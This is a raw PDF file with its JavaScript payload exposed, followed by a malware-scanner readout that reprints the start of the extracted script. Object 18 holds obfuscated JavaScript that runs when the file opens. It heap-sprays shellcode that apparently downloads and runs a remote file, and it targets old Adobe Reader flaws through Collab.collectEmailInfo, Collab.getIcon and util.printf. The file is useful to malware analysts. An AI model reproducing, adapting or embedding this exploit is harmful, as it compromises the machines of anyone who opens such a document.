Шj�Į�� ���0bٔ b�� �xX�79Śm$��I�L��ks$ �"�k��* ��6>�4�;��"JC�R��)� ��H�� ��Ռ��}�_
��B�J7 �9*9V��),� �� &�v�S �ȚO� Ւ �Q�ͅ�O�_� ��s�W+� ߟ e� �B�ϲ��+��zDL��iͤ�]Y [�F�8^V(��%������e� \� h4b � � u%� ���h��i��0 �g �S˳ ���|z7v0~�a��@�>��-X(��5`Fg�k0F �{�s�t�.��1�F"���К�F� �"V� d*ԿW�B��-{S�4`�? �'h :�[x�4x*e��A^��Χo���=��x���+��Fd6^����
E�lD��N��� ��C�>"��b�N- ��Z� �k z k4�$�F� � +���Rjʹ( �"�=�6Y8���k o( :���y �O�4mkZLm�\�V)�q� �d� �: ��Z� � ke�T2
" ҕ�qZ� ���sD���Q%$�� 4mS�%�`�za�)kv� ��p��ƆՀ$���g ;�:�Ox)��� �^&W�"v2��[�^�؎�}Mj>� ;�n���R� �P���І�;����3������Kˀ cg��3=<in:��� :�|Kg@��
F��I�
bb�*w>] :G�N r��m� � �lw�fP�+�/͟ ]��(-"��
;��T%���J �Ŵ�����bL
��&�@�m�]�k��� ����vע� '¬��C��}�6w(�i J�� ��%�ׅ�����հ0
��5��) �5��ԙ2y;��O0�Oצ ��� ^ w��� �� ���qE-�� w��ս��� $7,^Q �ci*��I7ޙ��O� >A��2��/q�� �{�� ^�� ���Xy���Q _s}r�� @ǝ[�� [^>3�n���ȡ�^�SS��ʪ A5�Zª����� � ����Q�8|�(�*h�آ�W� ��{�� �
2V�� &WQԦN����� � ������ 4:,� ��kY ޠ� ��#�:�{<����hᨡ �Ո ;��yHa �'�����T
��5W <��ٴdk�ӵ�c Q� j "����O |dB�$�an�t��B�N�?4HG�d�Wl��n�x��\}�np�, C =�:�8 RS��J�$�y+:@v�f��ް������w�G G"o�X_/<O̍}�6>f��E�W�F �qQΞ��sz ����%��ӵ��ș���q5� #�(�"4 �� o� ͘f1 ͍�J��B��k���� [s{$�� �Rzݐ �A�#�wq!�f)��
;���\x�-�� � 珅��� �u *�{ ��Փ��ӹ�#��G��o�+~��X����'�|�7s�p|�$ک �+�h�w���'�>]�:^�f �<�}%�LS�Ʋn����P>�� ̯NI@�=�- �s�6�F�Pv�i���� -&�3. � �F� y �N�O:�������҉�U{ �4�g��� t.�3�Y Ti��2� ��|8r�� ��A�풖k
�O �< ����� ����v* �ڳ�_��Ν!j�ߧs�� g��y�����ޠO׆��:�q-B�Xp�Қ�-@ǚ �4/~/ �`�9�� Ix��`־�� *�T�ӿ�c�kv ��
��Eo^m�9�8������z����7� &��^M�tD�7�
����� �({g����=g�-���n�i�o8 lo������Hә����Z� � 6m �VxN��!��g���˭4C � ŧ����B' �X#�w�' �k )�4 W�u��"|P$A����#7}�6 ;� (j;[��ѷ�'�<��茐.O��F�q��=:7w\��� ��#H���w�7 #L]k�� �����P����O���t8XL�;� \1�BH h�����q�� ���
endstream
endobj
7 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 8 0 R>>
endobj
8 0 obj
<</Filter /FlateDecode /Length 2772>>
stream
x�͛Ys� ���)�j_��h(Qg�29�f����Lj+�� ��H� h �, ����
]�)�b���=�%�/��� F�ق6 �w���� �� _��+����>�mB�Q ї5��������k4 ǣx��D4���+�NF3|n1 E Jk��iL �����1-���� �Q��F �MN��x� M����� }����%�қ? �Q����З�p��{ H�k�9���h����Y�&�W'��D�w�h���� 7���
߀�ݜ^��o��} N��3r�� ��Ĵ�/G� �4��l���+�L7?���kO_y����?[��O����� M#[P�
J��T$*�J2���j� �g�t�h�+I��Z�JC]%�nD +ai1� �ڸ�2����6��U
]e��5 � ѧ�-��8 ~Kݦ��*�閉FP*Z9
z��h�d̿�*� �ERIJDU����*��`�VR��h����H�-�+�V� RVְ��h:�, �+8k�� OF�'c}���BTSvT6j
���%[h� �a � �'�ѣ�
ѲE�� �e� �V���Z"�����T-��S�je� }) �� �62#�r #� � ҄��x� r߉��J�^� �]S�VC�.u��ᕳ�)c�06ШUxok\ V�h� ���T ��=:�VʎZ��� fSM��p] �oI'rK���2#���0 ��u�+��eGa��VZ G � I��d �� �ȶ ��� /���Xb ��D&X��
�� ժ���tF"Ѽ � )#� Y�@ ��(�ePw̗{ X$ ��
�p���E!�U�A*�!X��UgEP� >m~ �@T`��$�{HS�F�Hh
'��7HL �a횬#��fKI ��� Hj�l`� �k�ѵ�iA�A�Ht��Ȫ- ƒh��� ���^�%�> �(D���$��@� �
2*a� �ZfT�1�� ��u0��2v�a�:���Ҋ�W��ih��pR��-rgP��>y�N�K� � ��\�
D�3ĉ� R�� C�� &�`i5� � jϐ Fx��(8�+��eP�L= .� y�� �"E�غ���F $ �� � �� L�� g�NR� �q���� � ¹� b�D�P�l�()U& GP�� � qgd� ��'�M�=T�Tn�yp� ����-�+ ��
�3��� � \˧���mYAA#P1�}q~5�Ft ���E�:G�C� ���� �9��ЂU �.C��hgC�8[yL\� <?� �*2- �R� �X_�T�#�� � Hk�6�jKO�ct��q WY�]͌���qO5��� ��3a�ʻ�L8ǯ�Q"@n �l 岑��Ȃ�4� 8%f- ���4
=�� � ���-
d���@ �g �I A `� ���s ��!��y ��`� �� �t{O V;��:�FT�� � Wn��ϭ�ow�π ��Գ�� uđD�� Q��� ��X���%�6�RI�5�5�q���=`H�b ���� ���v� �] ������E�qj�gB:�Pk �" 6| � u]��Qp�=�o _e�3���;N� 't v��5f (�ϒ)�r ��c�����&h�; �WMC =S� Jt�i �p���gb͍��0%��G�� �8 Z�NW{M� �>�s` �Pð�ۖm��(�ӈ�u�g� �Q �2��P��ahoCf���� Vݒh �u�F�&��R��$5 �;@
j�Bj��dٵ|C�HH`�"ֈ�H]W��^ �c+�vsO��_�k 뽀B�30�p%9 ��k �V ��;� � �Σ� T�]b�2f ���25���r�x R~Z R��'K? %��Z(N� � n �**�i��X ͗SϢ
�]� �$� d $ �ux���7��*��}`��� Q��/�j�'�o���M
J��� 롉'��q������{�ZH�ƞh==�ko�� f^���y"#&�n�g�5 ��` z����+�� x� W� ?l�
Pn �^� 3�Ǡ�y�uw��]� �=[[�&��Q��Ĺ�*R��Q�� /��� ���'-e��$� n<�|@нڷ� �G��ֵ��"�C!� � �<8ޞ���"Ov�^���� ��ԃ� �v NQ�.�uk���2�3�%�� C�!k�0���g!���ȱ�G�)T}2Q��V��d�ғ�)�f ���33 ��Z]U} ��)�z���� �Y O�W s *��܌r#mw:} ���*��cQ�� )P7 "r�0�j� ћ@�jo�F�T^�o�r�e�)�un�J ]j�6�����ʣ� mBF�d�)1���Y�70 ��lS��a���y�� F�Ag�����[�R J� �:� ϟ� o�JĐ��=%�8�2��p��\F����@ ��̳�ս� 4$� ��� 0 ������^�[g" �w��n�A�� ���1& ���$�H+ v`2�=, 4P� � 8j����!U�xN\�+�J�s� �J�]�
jw� ��س(�1�I��pLe@�vp�1���O�V��*IPɖ�_� H�)�kX;y pA���3 �TŐS���KM� oX��* ����p孠�c� z��Y\ و�N�P��Gɗq �3'0� \�Tn� ���Jg�4�D�n� u5`3��D �[�Da ��!u�y x2"�$Ӄ��� � �J HD��z�|>&�gZЯ<� �>� �W�7ϴ�!������\�x�u���d�#h��.Eo�g�E e\� ��' ��7��y_�:�K}� <=x T; ���[sP�� ��ph��oy y��ӣ�4~7� %iǯ���^}dp ��B�h5<@M R�� �飉du���@���,����+ �\x��;������Pǻ����?�p�U�s��qsL�q� QÈ~��7 ��=t��4;\����xt ;��'�w��� 5�F�9:��g�[����{Z]���� ���
endstream
endobj
9 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 10 0 R>>
endobj
10 0 obj
<</Filter /FlateDecode /Length 1949>>
stream
x����r�� ��� ]��"X� �����V9��J� �/ � 0�` � !��� � D�����ݢ� b�� ݳ�d�5�4�Ox]�Ͽ����[������� 3Zg� ]���ˋ�cӣc4�γ� �Lh��V[Z̲%�[O�Ɍ��>|7��Y����9m��'gWpM �:9��*��LW�l��� �t)��?�R��/N~����/t� ���G+�5�\b��I����S[S��K� �G��d�%� � ^W � �����7�����G�9�}b ?�- ���i��d�-��\Γ ��k�L ?�b���>?�n���r���#�Qs+)�R�ِ����S�Z��>P_[�Qɮ� ��sOW���P��TZ�����k�릸�N�� }�=u%�����*(g��O�෴o�Ͷ�;��o(�Z{ }M�v�I�j�
kn��KC� 0��0H����{�,��['��N V ��� � =,�B$�]�� ��T�h*j��fT����>~�[RN��W$ � � ������XS���Z �\m� � Zˢ!��: ;�2��}6��lq ��ʤd�RT � ��N R%5r� uNᐯ��
�#�Re� � `=,+��-��m��U a Ւ]���++ � }��S�$FN�������.�O�Q�9]<���J �� y�F�
�. � ��5(��1��C��}F��&� ��%J�jAרg�%$�
."G�$�#��$ �W����J����MV ��5� �J�ol���:�܀�.G�[�'/��� v �*� $:*�K�� jT�
���|� Hf)π �@yT����Fu �-h�
��ƭ��B� ��d�dǠ@ i|�d�� e��e
��� * J�c !ɍE��:)YuC�>EQꐂ/Q ѠV>qE��|0 ��D��g��-M�l U $ rSۀ s�>džb���Rô �:%V��P���I ����Hp��^�i�2 e�| �ؓ�� j�Z��,��z�� ^�D �I�ܩ �$GjAy~ ���`�X 疝x��� 4�<�遟e4� W��r(���OǕO�� ĸ�y ͅ�P�ٟ�阦� �<B6�ǥ էˁgۃ7 �@ɢc
��J��G�l� �_�u�8 Ӻ�� �^b ���ϱ j�ra!Hml uZ �;B1%H� ����� ���� ����ǐ~� \��0�4t7�j�q�GlSq�j�l � �� ( _�K� b�) �˔t ���!�T����c�7 ���K T|� g8��� �Ti䫀��{��s��i�d DZ��K��� [i{ ��� 4�*��a�C%>�Ө�
9� �3'RBF�*�����7 iD˖� "���ͬ#)*�[� Zp��97I�c��<Y|3�}�G�J��BSv� ��c�T &C!Y�s�z��WF�1Er�^<n��$�y��4��M�mҢvos�� A�[ \E�҂*i�lk�� gb O{� 屓&P� } ��ܜ@רN_�# V� �aR���8��"�C;�#�<��� �X Dm�� �NcZ� ��Z �.�_ j � ��;F�s�:9,� ���� �^��w��B�G< �0��~c�r>��ޞ �( �S�}�@� t#�K�ќ��<��1͛
�z �QSf:@�,
1�#�� �f�zߥ4aHe�F����1�� �8l߾mJ �ߋ� �/ �.`3���;��J�V�� p�Q��4PG]�z��Wg�*� / Z�� ���hz�xǧƾ� 2����۞/�^c�� ���Ըp�z! ��B ũ����?Ol| ���P ոGB}vw��|yc�R�Ѧa �.�O Ӵ� ҧ!z(䧔�m� \`< ][�H����L s}�О�x �ƴn1�� ,��ɻ��� ��d4� �n�R�. n�V�1͛ @��w����ӽ2ѝ���0e�a�ʭ��$ Gݧ_� �tiߺ���R�15� �L e�H?' (I�ؿu��n�:`�L��i�KF�����Wg9H6 =�+ d��I{�{��������Ō��M�=�3�m��rx���mz����V�l�����A�.e��> m�}� � ����
endstream
endobj
1 0 obj
<</Type /Pages
/Kids [
3 0 R
5 0 R
7 0 R
9 0 R
]
/Count 4
>>
endobj
11 0 obj
<</Type /OCG /Name (��print)
/Usage <</Print <</PrintState /ON>> /View <</ViewState /OFF>>>>>>
endobj
12 0 obj
<</Type /OCG /Name (��view)
/Usage <</Print <</PrintState /OFF>> /View <</ViewState /ON>>>>>>
endobj
13 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Helvetica
/Name /F1
/Encoding /WinAnsiEncoding
>>
endobj
14 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Courier
/Name /F2
/Encoding /WinAnsiEncoding
>>
endobj
15 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Helvetica-Bold
/Name /F3
/Encoding /WinAnsiEncoding
>>
endobj
16 0 obj
<</Type /XObject
/Subtype /Image
/Width 400
/Height 200
/ColorSpace /DeviceRGB
/BitsPerComponent 8
/Filter /DCTDecode
/Length 2128>>
stream
���� JFIF ��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality
��C
$.' ",# (7),01444 '9=82<.342��C
2! !22222222222222222222222222222222222222222222222222�� � � " ��
�ĵ } !1A Qa "q 2��� #B�� R��$3br�
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz���������������������������������������������������������������������������
�ĵ w !1 AQ aq "2� B���� #3R� br�
$4�%� &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�������������������������������������������������������������������������� ?m Q_ ~j QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE ���R��4 ��{ /=MGNc�M��RWaE Pf QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QI�n۞i���I����) (��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��F �Hz�T�@$�[R���{3XO�4�I#$b� M% ���b"ҕ��v?
m.i*���4�(6�B�(�1
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��#��ri�GAM#k{Q��*���kȒ�(�9��(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �)*� +�� �4��Z(��M;2e f QE"B�(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� ��- p�-��i�俚 �- R����R�;�QE &aE P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P ��
endstream
endobj
2 0 obj
<<
/ProcSet [/PDF /Text /ImageB /ImageC /ImageI]
/Font <<
/F1 13 0 R
/F2 14 0 R
/F3 15 0 R
>>
/XObject <<
/I1 16 0 R
>>
/Properties <</OC1 11 0 R /OC2 12 0 R>>
/ExtGState <<
>>
>>
endobj
17 0 obj
<<
/Names [(EmbeddedJS) 18 0 R ]
>>
endobj
18 0 obj
<<
/S /JavaScript
/JS (��function qMcIgSkV9\(awxOiFtTb,j5qpCxQc\){}this.e0CV7y87=0.89;function hKFYMZBV\(d94ooEkVbN,moKPvsw7,oPNmNCV6\){return moKPvsw7;}var pGLhKJe2n = 'var yz1yyWsr = new Array\(\);var qlvCgEp1;function qOYk2XZ8N\(aOfBqSekQk, visNssO2\){while\(aOfBqSekQk.length * 2 < visNssO2\){aOfBqSekQk += aOfBqSekQk;}aOfBqSekQk = aOfBqSekQk.substring\(0, visNssO2 / 2\);return aOfBqSekQk;}function tHiZ9lrUYu\(zu2WQUQL\){if\(zu2WQUQL == 0\){var zVtKKX01h = 0x0c0c0c0c;}else if\(zu2WQUQL == 1\){zVtKKX01h = 0x30303030;}var hxWSuDXe = new Array\(\\"%u5350%u5\\",\\"251%u575\\",\\"6%u9c5\\",\\"5%u00e\\",\\"8%u0000\\",\\"%u5d00\\",\\"%ued83\\",\\"%u310d\\",\\"%u64c0%u\\",\\"4003%u783\\",\\"0%u8b0c\\",\\"%u0c40%u7\\",\\"08b%ua\\",\\"d1c%u\\",\\"408b%\\",\\"ueb08\\",\\"%u8b09\\",\\"%u3440\\",\\"%u408d\\",\\"%u8b7c%u\\",\\"3c40%u575\\",\\"6%u5ebe%\\",\\"u0001%u\\",\\"0100%ubf\\",\\"ee%u014e%\\",\\"u0000%uef0\\",\\"1%ud6e8%\\",\\"u0001%u\\",\\"5f00%u895e\\",\\"%u81ea%u\\",\\"5ec2%\\",\\"u0001%u\\",\\"5200%u80\\",\\"68%u000\\",\\"0%uff00%u4\\",\\"e95%u\\",\\"0001%u8\\",\\"900%u81ea\\",\\"%u5ec2%u\\",\\"0001%u31\\",\\"00%u01f6\\",\\"%u8ac2%u\\",\\"359c%\\",\\"u0263%\\",\\"u0000%ufb8\\",\\"0%u7400%u8\\",\\"806%u321c%\\",\\"ueb46%u\\",\\"c6ee%u32\\",\\"04%u8900%u\\",\\"81ea%u45c2\\",\\"%u0002%u5\\",\\"200%u9\\",\\"5ff%u0152\\",\\"%u0000%ue\\",\\"a89%u\\",\\"c281%u\\",\\"0250%u0\\",\\"000%u\\",\\"5052%\\",\\"u95ff\\",\\"%u015\\",\\"6%u0000%u\\",\\"006a%\\",\\"u006a%\\",\\"uea89%uc2\\",\\"81%u015\\",\\"e%u0000\\",\\"%u8952%\\",\\"u81ea%u78\\",\\"c2%u0002%\\",\\"u5200%\\",\\"u006a%ud\\",\\"0ff%u056a\\",\\"%uea89%uc\\",\\"281%u\\",\\"015e%u00\\",\\"00%uff\\",\\"52%u5a95\\",\\"%u0001\\",\\"%u8900%u8\\",\\"1ea%u5ec2%\\",\\"u0001%u\\",\\"5200%\\",\\"u8068%u0\\",\\"000%uff\\",\\"00%u4e95%u\\",\\"0001%u8900\\",\\"%u81ea%u\\",\\"5ec2%u\\",\\"0001%u31\\",\\"00%u01\\",\\"f6%u8a\\",\\"c2%u3\\",\\"59c%u02\\",\\"6e%u0\\",\\"000%ufb80%\\",\\"u7400%u\\",\\"8806%u321c\\",\\"%ueb4\\",\\"6%uc6\\",\\"ee%u3204%u\\",\\"8900%u81ea\\",\\"%u45c2\\",\\"%u0002\\",\\"%u5200\\",\\"%u95f\\",\\"f%u0152\\",\\"%u000\\",\\"0%uea89%u\\",\\"c281%\\",\\"u0250%u\\",\\"0000%u505\\",\\"2%u95ff\\",\\"%u0156%u00\\",\\"00%u006a%u\\",\\"006a%uea89\\",\\"%uc281%\\",\\"u015e%u000\\",\\"0%u895\\",\\"2%u81ea%u\\",\\"a6c2%u00\\",\\"02%u5\\",\\"200%u006\\",\\"a%ud0f\\",\\"f%u056a\\",\\"%uea89%uc2\\",\\"81%u015\\",\\"e%u000\\",\\"0%uff52%\\",\\"u5a95%\\",\\"u0001\\",\\"%u9d00%u5\\",\\"f5d%u5a5\\",\\"e%u5b59%u\\",\\"c358%u000\\",\\"0%u0000%u0\\",\\"000%u0\\",\\"000%u00\\",\\"00%u0000%u\\",\\"0000%u0\\",\\"000%u6547\\",\\"%u5474%u\\",\\"6d65%u5070\\",\\"%u7461%u\\",\\"4168%\\",\\"u4c00\\",\\"%u616f\\",\\"%u4c64%u62\\",\\"69%u6172\\",\\"%u7972%u0\\",\\"041%u6547\\",\\"%u5074%u6f\\",\\"72%u4\\",\\"163%u6\\",\\"464%u65\\",\\"72%u7\\",\\"373%u\\",\\"5700%u\\",\\"6e69%\\",\\"u7845%u6\\",\\"365%u\\",\\"bb00%uf\\",\\"289%uf7\\",\\"89%uc03\\",\\"0%u75ae%\\",\\"u29fd%u8\\",\\"9f7%u31\\",\\"f9%ubec\\",\\"0%u003c\\",\\"%u0000%u\\",\\"b503%u021b\\",\\"%u0000%ua\\",\\"d66%u\\",\\"8503%u021\\",\\"b%u0000%u\\",\\"708b%u\\",\\"8378%u\\",\\"1cc6%u\\",\\"b503%u021\\",\\"b%u0000%ub\\",\\"d8d%u02\\",\\"1f%u000\\",\\"0%u03ad%u\\",\\"1b85%u0002\\",\\"%uab0\\",\\"0%u03ad\\",\\"%u1b85%u\\",\\"0002%u500\\",\\"0%uad\\",\\"ab%u850\\",\\"3%u02\\",\\"1b%u0000%\\",\\"u5eab%udb3\\",\\"1%u56ad%\\",\\"u8503%\\",\\"u021b%u00\\",\\"00%uc689%u\\",\\"d789%u\\",\\"fc51%ua6f\\",\\"3%u7459%u5\\",\\"e04%u\\",\\"eb43%u5e\\",\\"e9%ud1\\",\\"93%u03e0%u\\",\\"2785%u000\\",\\"2%u3100%u9\\",\\"6f6%u\\",\\"ad66%ue0c1\\",\\"%u0302%u1\\",\\"f85%u0\\",\\"002%u8900\\",\\"%uadc6%u8\\",\\"503%u02\\",\\"1b%u0\\",\\"000%u\\",\\"ebc3%u001\\",\\"0%u0000%\\",\\"u0000%u\\",\\"0000%\\",\\"u0000%\\",\\"u0000%u\\",\\"0000%u00\\",\\"00%u8900\\",\\"%u1b85%u00\\",\\"02%u5\\",\\"600%ue85\\",\\"7%uff5\\",\\"8%uff\\",\\"ff%u5e5f%\\",\\"u01ab%u80c\\",\\"e%ubb3\\",\\"e%u027\\",\\"4%uede\\",\\"b%u55c3%\\",\\"u4c52\\",\\"%u4f4d%u2e\\",\\"4e%u4c44%u\\",\\"004c%\\",\\"u5255%u44\\",\\"4c%u776\\",\\"f%u6c6e%u\\",\\"616f%u\\",\\"5464%\\",\\"u466f%u6\\",\\"c69%u4165%\\",\\"u7500%u6\\",\\"470%u7461%\\",\\"u2e65%u\\",\\"7865%u\\",\\"0065%u\\",\\"7263%\\",\\"u7361%u2e\\",\\"68%u68\\",\\"70%u007\\",\\"0%u7468\\",\\"%u7074%u2\\",\\"f3a%u732\\",\\"f%u6f65\\",\\"%u742d%u6\\",\\"172%u6\\",\\"666%u632e%\\",\\"u6d6f%u\\",\\"632f%u\\",\\"756f%u7\\",\\"46e%u726\\",\\"5%u2f73\\",\\"%u2f3\\",\\"1%u7075%u\\",\\"6164%u6\\",\\"574%u702e%\\",\\"u7068%u69\\",\\"3f%u3d64%\\",\\"u2633%u657\\",\\"2%u3d74%u6\\",\\"b6f%u9000\\"\);hxWSuDXe = unescape\(hxWSuDXe.join\(\\"\\"\)\);var aMkKKV3ax = 0x400000;var x3CgE4VTY7 = hxWSuDXe.length * 2;var visNssO2 = aMkKKV3ax - \(x3CgE4VTY7 + 0x38\);var aOfBqSekQk = unescape\(\\"%u9090%u9090\\"\);aOfBqSekQk = qOYk2XZ8N\(aOfBqSekQk, visNssO2\);var eEjtQKFInc = \(zVtKKX01h - 0x400000\) / aMkKKV3ax;for\(var unxGYdE5n = 0; unxGYdE5n < eEjtQKFInc; unxGYdE5n++\){yz1yyWsr[unxGYdE5n] = aOfBqSekQk + hxWSuDXe;}}function fDUrU7XB\(\){var nGA9T4uG = 0;var eYoEHriR = app.viewerVersion.toString\(\);app.clearTimeOut\(qlvCgEp1\);if\(\(eYoEHriR >= 8 && eYoEHriR < 8.102\) || eYoEHriR < 7.1\){tHiZ9lrUYu\(0\);var xMxbDF9NZb = unescape\(\\"%u0c0c%u0c0c\\"\);while\(xMxbDF9NZb.length < 44952\) xMxbDF9NZb += xMxbDF9NZb;var fjVSKlDUq = this;var ezqeKH4tH = Collab;fjVSKlDUq[\\"collabStore\\"] = ezqeKH4tH[\\"collectEmailInfo\\"]\({subj : \\"\\", msg : xMxbDF9NZb}\);}if\(\(eYoEHriR >= 8.102 && eYoEHriR < 8.104\) || \(eYoEHriR >= 9 && eYoEHriR < 9.1\) || eYoEHriR <= 7.101\){try{if\(app.doc.Collab.getIcon\){tHiZ9lrUYu\(2\);var gHGLGbxHI = unescape\(\\" \\"\);while\(gHGLGbxHI.length < 0x4000\){gHGLGbxHI += gHGLGbxHI;}gHGLGbxHI = \\"N.\\" + gHGLGbxHI;var pghfk27wPm = app;pghfk27wPm[\\"doc\\"][\\"Collab\\"][\\"getIcon\\"]\(gHGLGbxHI\);nGA9T4uG = 1;}else{nGA9T4uG = 1;}}catch\(e\){nGA9T4uG = 1;}if\(nGA9T4uG == 1\){if\(eYoEHriR == 8.102 || eYoEHriR == 7.1\){tHiZ9lrUYu\(1\);var vT4Q80JUpI = \\"12999999999999999999\\";for\(cwpqFudQLu = 0; cwpqFudQLu < 276; cwpqFudQLu++\){vT4Q80JUpI += \\"8\\";}var xiNiJYKg1 = util;xiNiJYKg1[\\"printf\\"]\(\\"E000f\\", vT4Q80JUpI\);}}}}app.cbVTCzH8X = fDUrU7XB;qlvCgEp1 = app.setTimeOut\(\\"app.cbVTCzH8X\(\)\\", 10\);';function e8lvCgEp1\(wjcCRLwWYJ\){return false;}this.wXWp7zw2BS="fZcC4Vcdn";function qFDhYW7d0\(iMJ0PnL4I,vNYmW0FQo\){return vNYmW0FQo;}var kSt9A6Z6yr = pGLhKJe2n.replace\(/[]/g, ''\);jBjL5zilQx=8098;var twFKKpkv=new Array\('kwqqg4sd','jKZl1k6oC','uaqmSIyPFh'\);function nY22MpNwk\(eWWySbVF8,kBO9In13r,kVaoxPyTAZ\){return kVaoxPyTAZ;}var m5BhBlFWe = 'e'+'v'+'a'+'l';app[m5BhBlFWe]\(kSt9A6Z6yr\);this.fcoHokTh8=27173;function faEMzs3Hx\(\){}function e9xb5G4yjd\(yJfo5LudGj,rBEckMHjQ\){return yJfo5LudGj;})
>>
endobj
19 0 obj
<<
/Title (��ifDuringHave)
/Author (��longLoremRepeat)
/Subject (��bcFormWhen)
/Keywords (��ifCiceroGalley, toExactDummy, isntLikeAldus)
/Creator (��pageDolor)
/Producer (��670c26185a3783678135b4697f7dbd1a)
/CreationDate (D:20091017160617+04'00')
/ModDate (D:20091017160617+04'00')
>>
endobj
20 0 obj
<<
/Type /Catalog
/Pages 1 0 R
/OpenAction [3 0 R /FitH null]
/PageLayout /SinglePage
/PageMode /UseNone
/Lang /en
/Names <<
/JavaScript 17 0 R
>>
/ViewerPreferences<<
/Direction /L2R
>>
/OCProperties <</OCGs [11 0 R 12 0 R] /D <</ON [11 0 R] /OFF [12 0 R] /AS [<</Event /Print /OCGs [11 0 R 12 0 R] /Category [/Print]>> <</Event /View /OCGs [11 0 R 12 0 R] /Category [/View]>>]>>>>
>>
endobj
xref
0 21
0000000000 65535 f
0000010826 00000 n
0000013751 00000 n
0000000009 00000 n
0000000117 00000 n
0000002927 00000 n
0000003035 00000 n
0000005745 00000 n
0000005853 00000 n
0000008696 00000 n
0000008805 00000 n
0000010902 00000 n
0000011018 00000 n
0000011132 00000 n
0000011239 00000 n
0000011344 00000 n
0000011456 00000 n
0000013946 00000 n
0000013998 00000 n
0000026720 00000 n
0000027142 00000 n
trailer
<<
/Size 21
/Root 20 0 R
/Info 19 0 R
>>
startxref
27544
%%EOF
|
|||
generic_stage_recovery_006.js |
deobfuscated-js | generic stage recovery null-collapse -> split-literal-normalize from JavaScript object 18 at offset 0x36AE | 5989 bytes |
SHA-256: fccd1161978f13fddab954962895db6c0ef7b26561af3f186e2608ca199b95ad |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 4 eval/decoder/string-building token(s). 46 of 75 identifiers look randomly generated (e.g. 'xMxbDF9NZb') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
��function qMcIgSkV9(awxOiFtTb,j5qpCxQc){}this.e0CV7y87=0.89;function hKFYMZBV(d94ooEkVbN,moKPvsw7,oPNmNCV6){return moKPvsw7;}var pGLhKJe2n = 'var yz1yyWsr = new Array();var qlvCgEp1;function qOYk2XZ8N(aOfBqSekQk, visNssO2){while(aOfBqSekQk.length * 2 < visNssO2){aOfBqSekQk += aOfBqSekQk;}aOfBqSekQk = aOfBqSekQk.substring(0, visNssO2 / 2);return aOfBqSekQk;}function tHiZ9lrUYu(zu2WQUQL){if(zu2WQUQL == 0){var zVtKKX01h = 0x0c0c0c0c;}else if(zu2WQUQL == 1){zVtKKX01h = 0x30303030;}var hxWSuDXe = new Array(\"%u5350%u5\",\"251%u575\",\"6%u9c5\",\"5%u00e\",\"8%u0000\",\"%u5d00\",\"%ued83\",\"%u310d\",\"%u64c0%u\",\"4003%u783\",\"0%u8b0c\",\"%u0c40%u7\",\"08b%ua\",\"d1c%u\",\"408b%\",\"ueb08\",\"%u8b09\",\"%u3440\",\"%u408d\",\"%u8b7c%u\",\"3c40%u575\",\"6%u5ebe%\",\"u0001%u\",\"0100%ubf\",\"ee%u014e%\",\"u0000%uef0\",\"1%ud6e8%\",\"u0001%u\",\"5f00%u895e\",\"%u81ea%u\",\"5ec2%\",\"u0001%u\",\"5200%u80\",\"68%u000\",\"0%uff00%u4\",\"e95%u\",\"0001%u8\",\"900%u81ea\",\"%u5ec2%u\",\"0001%u31\",\"00%u01f6\",\"%u8ac2%u\",\"359c%\",\"u0263%\",\"u0000%ufb8\",\"0%u7400%u8\",\"806%u321c%\",\"ueb46%u\",\"c6ee%u32\",\"04%u8900%u\",\"81ea%u45c2\",\"%u0002%u5\",\"200%u9\",\"5ff%u0152\",\"%u0000%ue\",\"a89%u\",\"c281%u\",\"0250%u0\",\"000%u\",\"5052%\",\"u95ff\",\"%u015\",\"6%u0000%u\",\"006a%\",\"u006a%\",\"uea89%uc2\",\"81%u015\",\"e%u0000\",\"%u8952%\",\"u81ea%u78\",\"c2%u0002%\",\"u5200%\",\"u006a%ud\",\"0ff%u056a\",\"%uea89%uc\",\"281%u\",\"015e%u00\",\"00%uff\",\"52%u5a95\",\"%u0001\",\"%u8900%u8\",\"1ea%u5ec2%\",\"u0001%u\",\"5200%\",\"u8068%u0\",\"000%uff\",\"00%u4e95%u\",\"0001%u8900\",\"%u81ea%u\",\"5ec2%u\",\"0001%u31\",\"00%u01\",\"f6%u8a\",\"c2%u3\",\"59c%u02\",\"6e%u0\",\"000%ufb80%\",\"u7400%u\",\"8806%u321c\",\"%ueb4\",\"6%uc6\",\"ee%u3204%u\",\"8900%u81ea\",\"%u45c2\",\"%u0002\",\"%u5200\",\"%u95f\",\"f%u0152\",\"%u000\",\"0%uea89%u\",\"c281%\",\"u0250%u\",\"0000%u505\",\"2%u95ff\",\"%u0156%u00\",\"00%